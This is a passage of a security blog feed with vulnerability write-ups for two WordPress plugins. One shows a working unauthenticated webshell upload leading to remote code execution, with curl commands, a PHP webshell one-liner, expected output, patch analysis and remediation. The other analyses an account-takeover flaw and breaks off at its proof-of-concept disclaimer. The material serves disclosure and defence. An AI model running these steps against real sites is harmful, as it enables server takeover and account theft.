&lt;hr /&gt;
&lt;h2&gt;Attack Impact&lt;/h2&gt;
&lt;p&gt;An unauthenticated attacker can:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Upload a PHP webshell or backdoor to &lt;code&gt;wp-content/uploads/prosolwpclient/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Access the uploaded file directly via its public URL&lt;/li&gt;
&lt;li&gt;Execute arbitrary PHP code on the server with the web server&apos;s privileges&lt;/li&gt;
&lt;li&gt;Achieve full Remote Code Execution (RCE)&lt;/li&gt;
&lt;li&gt;Escalate to full site compromise: steal credentials, install persistent backdoors, pivot to the database, and deface the site&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only. Only use against systems you own or have explicit written authorization to test.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;prosolution-wp-client&lt;/code&gt; plugin installed and activated, version &amp;lt;= 1.9.9&lt;/li&gt;
&lt;li&gt;A WordPress page published with the &lt;code&gt;[prosolfrontend]&lt;/code&gt; shortcode (required to obtain the nonce)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;Step 1: Extract the Nonce from the Public Page&lt;/h3&gt;
&lt;p&gt;Visit any WordPress page containing the &lt;code&gt;[prosolfrontend]&lt;/code&gt; shortcode and extract the nonce from &lt;code&gt;prosolObj.nonce&lt;/code&gt; in the page source:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TARGET=&quot;https://target.example.com&quot;

# Fetch the page and extract the nonce from the JS object
NONCE=$(curl -s &quot;$TARGET/jobs&quot; \
  | grep -oP &apos;&quot;nonce&quot;\s*:\s*&quot;\K[^&quot;]+&apos;)

echo &quot;Extracted nonce: $NONCE&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;What to look for in the page source:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script id=&apos;prosolwpclient-public-js-extra&apos;&amp;gt;
var prosolObj = {
    &quot;ajaxurl&quot;: &quot;https://target.example.com/wp-admin/admin-ajax.php&quot;,
    &quot;nonce&quot;: &quot;a1b2c3d4e5&quot;,
    ...
};
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;Step 2: Create the PHP Webshell&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;&amp;lt;?php system($_GET[&quot;cmd&quot;]); ?&amp;gt;&apos; &amp;gt; /tmp/shell.php
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;Step 3: Upload the Webshell with a Spoofed MIME Type&lt;/h3&gt;
&lt;p&gt;The critical bypass: set the file&apos;s &lt;code&gt;Content-Type&lt;/code&gt; to &lt;code&gt;image/jpeg&lt;/code&gt; while the actual content is PHP.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST &quot;$TARGET/wp-admin/admin-ajax.php&quot; \
  -F &quot;action=proSol_fileUploadProcess&quot; \
  -F &quot;security=$NONCE&quot; \
  -F &quot;files[]=@/tmp/shell.php;type=image/jpeg&quot; \
  | python3 -m json.tool
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Expected response:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;files&quot;: [
    {
      &quot;name&quot;: &quot;shell.php&quot;,
      &quot;size&quot;: 31,
      &quot;url&quot;: &quot;https://target.example.com/wp-content/uploads/prosolwpclient/shell.php&quot;,
      &quot;newfilename&quot;: &quot;a3f8b2c1d9e4f7g2.php&quot;,
      &quot;rename_status&quot;: true,
      &quot;extension&quot;: &quot;php&quot;
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;&quot;extension&quot;: &quot;php&quot;&lt;/code&gt; and &lt;code&gt;&quot;rename_status&quot;: true&lt;/code&gt; confirm the &lt;code&gt;.php&lt;/code&gt; file was saved successfully.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Step 4: Trigger Remote Code Execution&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;SHELL_FILE=&quot;a3f8b2c1d9e4f7g2.php&quot;   # Use the actual newfilename from Step 3

curl -s &quot;$TARGET/wp-content/uploads/prosolwpclient/$SHELL_FILE?cmd=id&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Expected output:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Unauthenticated RCE achieved.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;Only one source file was modified in the security fix: &lt;code&gt;public/class-prosolwpclient-public.php&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;The patch replaces the flawed client-supplied MIME type check with a comprehensive, multi-layer server-side validation chain:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Extension extracted from the actual filename (not Content-Type):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$org_filename = sanitize_file_name( $submit_data[&apos;name&apos;][0] );
$up_fileext   = strtolower( pathinfo( $org_filename, PATHINFO_EXTENSION ) );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. Strict extension whitelist (8 safe types only):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$whitelist_ext = array( &apos;jpg&apos;, &apos;jpeg&apos;, &apos;png&apos;, &apos;gif&apos;, &apos;webp&apos;, &apos;pdf&apos;, &apos;doc&apos;, &apos;docx&apos; );
if ( ! in_array( $up_fileext, $whitelist_ext, true ) ) {
    die(__(&quot;File type not allowed&quot;, &quot;prosolwpclient&quot;));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3. Real MIME type read from file content using &lt;code&gt;finfo&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$finfoObj  = new finfo( FILEINFO_MIME_TYPE );
$true_mime = $finfoObj-&amp;gt;file( $tmp_fileloc );   // server-side, reads actual file bytes
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;4. WordPress-level file type check:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$wp_mime_chk = wp_check_filetype( $org_filename );
if ( $wp_mime_chk[&apos;type&apos;] == false ) {
    die(__(&quot;File type is not allowed.&quot;, &quot;prosolwpclient&quot;));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;5. Cross-validation: real MIME must match extension-expected MIME:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$whitelist_mimes = array(
    &apos;jpg&apos;  =&amp;gt; &apos;image/jpeg&apos;,
    &apos;jpeg&apos; =&amp;gt; &apos;image/jpeg&apos;,
    &apos;png&apos;  =&amp;gt; &apos;image/png&apos;,
    &apos;gif&apos;  =&amp;gt; &apos;image/gif&apos;,
    &apos;webp&apos; =&amp;gt; &apos;image/webp&apos;,
    &apos;pdf&apos;  =&amp;gt; &apos;application/pdf&apos;,
    &apos;doc&apos;  =&amp;gt; &apos;application/msword&apos;,
    &apos;docx&apos; =&amp;gt; &apos;application/vnd.openxmlformats-officedocument.wordprocessingml.document&apos;,
);
if ( ! isset( $whitelist_mimes[ $up_fileext ] ) || $true_mime !== $whitelist_mimes[ $up_fileext ] ) {
    die(__(&quot;File content does not match its extension&quot;, &quot;prosolwpclient&quot;));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;6. Image dimension verification for image uploads:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$img_dimension = @getimagesize( $tmp_fileloc );
if ( $img_dimension === false ) {
    die(__(&quot;Invalid image dimension&quot;, &quot;prosolwpclient&quot;));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;7. Final post-upload extension re-check:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$fin_ext = strtolower( pathinfo( $attached_file_name, PATHINFO_EXTENSION ) );
if ( ! in_array( $fin_ext, $whitelist_ext, true ) ) {
    die(__(&quot;File type mismatch after upload&quot;, &quot;prosolwpclient&quot;));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The attacker can no longer bypass validation by spoofing the &lt;code&gt;Content-Type&lt;/code&gt; header — the server now reads the real MIME type from the actual file bytes using PHP&apos;s &lt;code&gt;finfo&lt;/code&gt; extension. The strict 8-extension whitelist also eliminates the overly broad &lt;code&gt;proSol_documentExtArr()&lt;/code&gt; which contained dozens of unnecessary types.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;-         $submit_data  = $_FILES[&quot;files&quot;];
-         $mime_type   = isset( $submit_data[&apos;type&apos;] ) ? $submit_data[&apos;type&apos;][0] : &apos;&apos;;
-         $ext = proSol_mimeExt($mime_type);
-
-         if ( in_array( $ext, proSol_imageExtArr() ) || in_array( $ext, proSol_documentExtArr() ) ) {
+         $org_filename = sanitize_file_name( $submit_data[&apos;name&apos;][0] );
+         $tmp_fileloc  = $submit_data[&apos;tmp_name&apos;][0];
+         $up_fileext   = strtolower( pathinfo( $org_filename, PATHINFO_EXTENSION ) );
+         $whitelist_ext = array( &apos;jpg&apos;, &apos;jpeg&apos;, &apos;png&apos;, &apos;gif&apos;, &apos;webp&apos;, &apos;pdf&apos;, &apos;doc&apos;, &apos;docx&apos; );
+         if ( ! in_array( $up_fileext, $whitelist_ext, true ) ) {
+             die(__(&quot;File type not allowed&quot;, &quot;prosolwpclient&quot;));
+         }
+         $finfoObj  = new finfo( FILEINFO_MIME_TYPE );
+         $true_mime = $finfoObj-&amp;gt;file( $tmp_fileloc );
+         $whitelist_mimes = array( &apos;jpg&apos; =&amp;gt; &apos;image/jpeg&apos;, /* ... */ );
+         if ( ! isset( $whitelist_mimes[ $up_fileext ] ) || $true_mime !== $whitelist_mimes[ $up_fileext ] ) {
+             die(__(&quot;File content does not match its extension&quot;, &quot;prosolwpclient&quot;));
+         }
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;April 8, 2026&lt;/td&gt;
&lt;td&gt;Publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 8, 2026&lt;/td&gt;
&lt;td&gt;Patched version 2.0.0 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Update the &lt;code&gt;prosolution-wp-client&lt;/code&gt; plugin to version 2.0.0 or later immediately.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;As additional defense-in-depth (even after patching), add an &lt;code&gt;.htaccess&lt;/code&gt; to block PHP execution in the upload directory:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# wp-content/uploads/prosolwpclient/.htaccess
&amp;lt;Files &quot;*.php&quot;&amp;gt;
    Deny from all
&amp;lt;/Files&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/prosolution-wp-client/prosolution-wp-client-199-unauthenticated-arbitrary-file-upload-via-prosol-fileuploadprocess&quot;&gt;Wordfence Advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/prosolution-wp-client/trunk/public/class-prosolwpclient-public.php?rev=3331282#L993&quot;&gt;Vulnerable source — class-prosolwpclient-public.php L993 (rev 3331282)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3484577/prosolution-wp-client&quot;&gt;Patch changeset 3484577&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-2942&quot;&gt;CVE-2026-2942 on cve.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434: Unrestricted Upload of File with Dangerous Type&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-08T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-4003: CVSS 9.8 Privilege Escalation in Users Manager PN</title><link>https://hurayraiit.com/blog/cve-2026-4003-wordpress-users-manager-pn-privilege-escalation/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-4003-wordpress-users-manager-pn-privilege-escalation/</guid><description>CVE-2026-4003 is a CVSS 9.8 critical unauthenticated privilege escalation in the WordPress Users Manager PN plugin — full technical breakdown, PoC, and remediation.</description><pubDate>Tue, 07 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-4003&lt;/strong&gt; is a &lt;strong&gt;CVSS 9.8 Critical&lt;/strong&gt; unauthenticated privilege escalation vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/userspn/&quot;&gt;Users Manager – PN&lt;/a&gt; WordPress plugin. It allows any unauthenticated attacker to overwrite arbitrary user metadata and, when the auto-login feature is enabled, fully take over any non-administrator account — no credentials required.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Users Manager – PN&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;userspn&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-4003&quot;&gt;CVE-2026-4003&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.8 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Privilege Escalation via Arbitrary User Meta Update → Account Takeover&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/userspn.1.1.15.zip&quot;&gt;&amp;lt;= 1.1.15&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/userspn.1.1.25.zip&quot;&gt;1.1.25&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;April 7, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;BaroHaf - fpt&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/userspn/users-manager-pn-1115-unauthenticated-privilege-escalation-via-account-takeover-via-userspn-form-save-ajax-action&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Users Manager – PN plugin for WordPress is vulnerable to Privilege Escalation via Arbitrary User Meta Update in all versions up to and including 1.1.15. This is due to a flawed authorization logic check in the &lt;code&gt;userspn_ajax_nopriv_server()&lt;/code&gt; function within the &lt;code&gt;userspn_form_save&lt;/code&gt; case. The conditional only blocks unauthenticated users when &lt;code&gt;user_id&lt;/code&gt; is empty, but when a non-empty &lt;code&gt;user_id&lt;/code&gt; is supplied, execution bypasses this check entirely and proceeds to update arbitrary user meta via &lt;code&gt;update_user_meta()&lt;/code&gt; without any authentication or authorization verification. Additionally, the nonce required for this AJAX endpoint (&lt;code&gt;userspn-nonce&lt;/code&gt;) is exposed to all visitors via &lt;code&gt;wp_localize_script&lt;/code&gt; on the public &lt;code&gt;wp_enqueue_scripts&lt;/code&gt; hook, rendering the nonce check ineffective as a security control. This makes it possible for unauthenticated attackers to update arbitrary user metadata for any user account, including the &lt;code&gt;userspn_secret_token&lt;/code&gt; field.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;p&gt;The attack chain flows through three distinct components.&lt;/p&gt;
&lt;h3&gt;1. Nonce Exposure — &lt;code&gt;includes/class-userspn-common.php&lt;/code&gt; (lines 203–207)&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;userspn_enqueue_scripts()&lt;/code&gt; is registered on the &lt;strong&gt;public&lt;/strong&gt; &lt;code&gt;wp_enqueue_scripts&lt;/code&gt; hook (&lt;code&gt;class-userspn.php&lt;/code&gt; line 276), meaning it fires on every front-end page load for every visitor, authenticated or not.&lt;/p&gt;
&lt;p&gt;Inside that function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// class-userspn-common.php, line 203
$nonce = wp_create_nonce(&apos;userspn-nonce&apos;);
wp_localize_script($this-&amp;gt;plugin_name, &apos;userspn_ajax&apos;, [
    &apos;ajax_url&apos; =&amp;gt; admin_url(&apos;admin-ajax.php&apos;),
    &apos;userspn_ajax_nonce&apos; =&amp;gt; $nonce,
]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This injects the following into every page&apos;s &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; block:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var userspn_ajax = {
    &quot;ajax_url&quot;: &quot;https://target.example.com/wp-admin/admin-ajax.php&quot;,
    &quot;userspn_ajax_nonce&quot;: &quot;ab12cd34ef&quot;   // &amp;lt;-- valid nonce, visible to anyone
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;WordPress nonces are meant to protect against CSRF by being unpredictable to unauthenticated users. Exposing the nonce in public page source completely defeats this protection for the &lt;code&gt;userspn-nonce&lt;/code&gt; action.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;2. AJAX Handler Registration — &lt;code&gt;includes/class-userspn.php&lt;/code&gt; (lines 445–446)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;$this-&amp;gt;loader-&amp;gt;userspn_add_action(&apos;wp_ajax_userspn_ajax_nopriv&apos;, $plugin_ajax_nopriv, &apos;userspn_ajax_nopriv_server&apos;);
$this-&amp;gt;loader-&amp;gt;userspn_add_action(&apos;wp_ajax_nopriv_userspn_ajax_nopriv&apos;, $plugin_ajax_nopriv, &apos;userspn_ajax_nopriv_server&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Both &lt;code&gt;wp_ajax_&lt;/code&gt; and &lt;code&gt;wp_ajax_nopriv_&lt;/code&gt; hooks are registered, meaning the AJAX action &lt;code&gt;userspn_ajax_nopriv&lt;/code&gt; is reachable by both authenticated and unauthenticated users at &lt;code&gt;POST /wp-admin/admin-ajax.php?action=userspn_ajax_nopriv&lt;/code&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;3. The Vulnerable Handler — &lt;code&gt;includes/class-userspn-ajax-nopriv.php&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step A — Nonce check (lines 21–37):&lt;/strong&gt; The handler checks for the presence and validity of &lt;code&gt;userspn_ajax_nopriv_nonce&lt;/code&gt; against the &lt;code&gt;userspn-nonce&lt;/code&gt; action. This check passes trivially because the nonce is already public (see §1 above).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (!wp_verify_nonce(sanitize_text_field(wp_unslash($_POST[&apos;userspn_ajax_nopriv_nonce&apos;])), &apos;userspn-nonce&apos;)) {
    // exit with error
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step B — User ID extraction (line 186):&lt;/strong&gt; The &lt;code&gt;$user_id&lt;/code&gt; is read directly from attacker-controlled POST data with no validation:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$user_id = !empty($_POST[&apos;userspn_form_user_id&apos;]) ? USERSPN_Forms::userspn_sanitizer(wp_unslash($_POST[&apos;userspn_form_user_id&apos;])) : 0;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step C — The flawed authorization gate (line 190):&lt;/strong&gt; The authorization check only triggers when &lt;code&gt;$user_id&lt;/code&gt; is empty:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (($userspn_form_type == &apos;user&apos; &amp;amp;&amp;amp; empty($user_id) &amp;amp;&amp;amp; !in_array($userspn_form_subtype, [&apos;user_alt_new&apos;])) || ...) {
    // store in session and echo &apos;userspn_form_save_error_unlogged&apos;; exit;
} else {
    // falls through to update_user_meta() — NO auth check here
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;The flaw:&lt;/strong&gt; The condition blocks unauthenticated requests only when &lt;code&gt;$user_id&lt;/code&gt; is empty (0). If the attacker supplies any non-zero &lt;code&gt;user_id&lt;/code&gt;, &lt;code&gt;empty($user_id)&lt;/code&gt; is &lt;code&gt;false&lt;/code&gt;, the entire &lt;code&gt;if&lt;/code&gt; evaluates to &lt;code&gt;false&lt;/code&gt;, and execution drops directly into the &lt;code&gt;else&lt;/code&gt; block.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step D — Unrestricted &lt;code&gt;update_user_meta()&lt;/code&gt; (lines 217–239):&lt;/strong&gt; Once inside the &lt;code&gt;else&lt;/code&gt; block, the code iterates over all attacker-supplied &lt;code&gt;userspn_ajax_keys&lt;/code&gt; and writes each key-value pair to the target user&apos;s meta with zero authentication:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (!empty($user_id)) {
    foreach ($userspn_key_value as $userspn_key =&amp;gt; $userspn_value) {
        // ...key prefixing logic...
        update_user_meta($user_id, $userspn_key, $userspn_value);

        // Also writes the non-prefixed original key
        if (!empty($original_key) &amp;amp;&amp;amp; strpos((string)$original_key, &apos;userspn_&apos;) !== 0) {
            update_user_meta($user_id, $original_key, $userspn_value);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note the dual-write: if the attacker sends a key &lt;code&gt;secret_token&lt;/code&gt;, the handler writes both &lt;code&gt;userspn_secret_token&lt;/code&gt; and &lt;code&gt;secret_token&lt;/code&gt; to the target user&apos;s meta.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;4. Account Takeover via Magic Link — &lt;code&gt;includes/class-userspn-functions-user.php&lt;/code&gt; (lines 230–255)&lt;/h3&gt;
&lt;p&gt;If the site has the auto-login feature enabled (&lt;code&gt;userspn_auto_login&lt;/code&gt; option set to &lt;code&gt;on&lt;/code&gt;), the plugin implements a token-based magic link login:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function userspn_auto_login() {
    if (!isset($_GET[&apos;userspn_auto_login&apos;]) || get_option(&apos;userspn_auto_login&apos;) !== &apos;on&apos;) {
        return;
    }

    $user_id          = !empty($_GET[&apos;userspn_user_id&apos;]) ? intval($_GET[&apos;userspn_user_id&apos;]) : 0;
    $secret_token     = get_user_meta($user_id, &apos;userspn_secret_token&apos;, true);   // reads from DB
    $userspn_secret_token = !empty($_GET[&apos;userspn_secret_token&apos;]) ? sanitize_text_field(...) : &apos;&apos;;

    // Blocks only admins — any non-admin user is eligible
    if (empty($secret_token) || $secret_token !== $userspn_secret_token || user_can($user_id, &apos;administrator&apos;)) {
        return;
    }

    wp_set_current_user($user_id, $login_username);
    wp_set_auth_cookie($user_id);   // &amp;lt;-- Full authentication cookie set
    wp_redirect(...);
    exit;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since the attacker controlled &lt;code&gt;userspn_secret_token&lt;/code&gt; in Step C, they simply supply the value they wrote during the AJAX call and are granted a full authenticated session as the target user.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The authorization gate at &lt;code&gt;class-userspn-ajax-nopriv.php:190&lt;/code&gt; contains an inverted logic flaw. It was designed to block unauthenticated users from updating their own profile when they lack a &lt;code&gt;user_id&lt;/code&gt;, but the condition is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;block IF (type == &apos;user&apos;) AND (user_id IS EMPTY) AND (subtype not in [...])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This means the block &lt;strong&gt;only applies when &lt;code&gt;user_id&lt;/code&gt; is absent&lt;/strong&gt;. An attacker who explicitly supplies any valid &lt;code&gt;user_id&lt;/code&gt; completely bypasses the check.&lt;/p&gt;
&lt;p&gt;The correct logic should have been:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;block IF (type == &apos;user&apos;) AND (user is NOT authenticated OR user_id does NOT match current user)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Control&lt;/th&gt;
&lt;th&gt;Why it failed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Nonce check&lt;/strong&gt; (&lt;code&gt;wp_verify_nonce&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;The nonce &lt;code&gt;userspn-nonce&lt;/code&gt; is generated and embedded in the page source on every public front-end page via &lt;code&gt;wp_localize_script&lt;/code&gt;. Any unauthenticated visitor can extract a valid nonce from the HTML source without making any special requests.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Session / unlogged guard&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The session-store branch (&lt;code&gt;$_SESSION[&apos;userspn_form&apos;]&lt;/code&gt;) only fires when &lt;code&gt;$user_id&lt;/code&gt; is empty. Supplying a &lt;code&gt;user_id&lt;/code&gt; skips it entirely.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Nonce action specificity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A single nonce action (&lt;code&gt;userspn-nonce&lt;/code&gt;) is shared across multiple AJAX operations, broadening the exposure surface.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Attack Impact&lt;/h2&gt;
&lt;p&gt;An unauthenticated attacker can:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Overwrite any user meta&lt;/strong&gt; on any non-admin account — including security-sensitive fields.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Achieve full account takeover&lt;/strong&gt; of any non-admin WordPress user (subscriber, contributor, author, editor) when the auto-login feature is enabled, by overwriting &lt;code&gt;userspn_secret_token&lt;/code&gt; and using the magic-link login endpoint.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Escalate privileges&lt;/strong&gt; if the targeted account holds elevated roles (editor, shop manager, etc.).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modify profile data&lt;/strong&gt; (name, email meta, custom fields) for any user silently.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only. Only use against systems you own or have explicit written authorization to test.&lt;/p&gt;
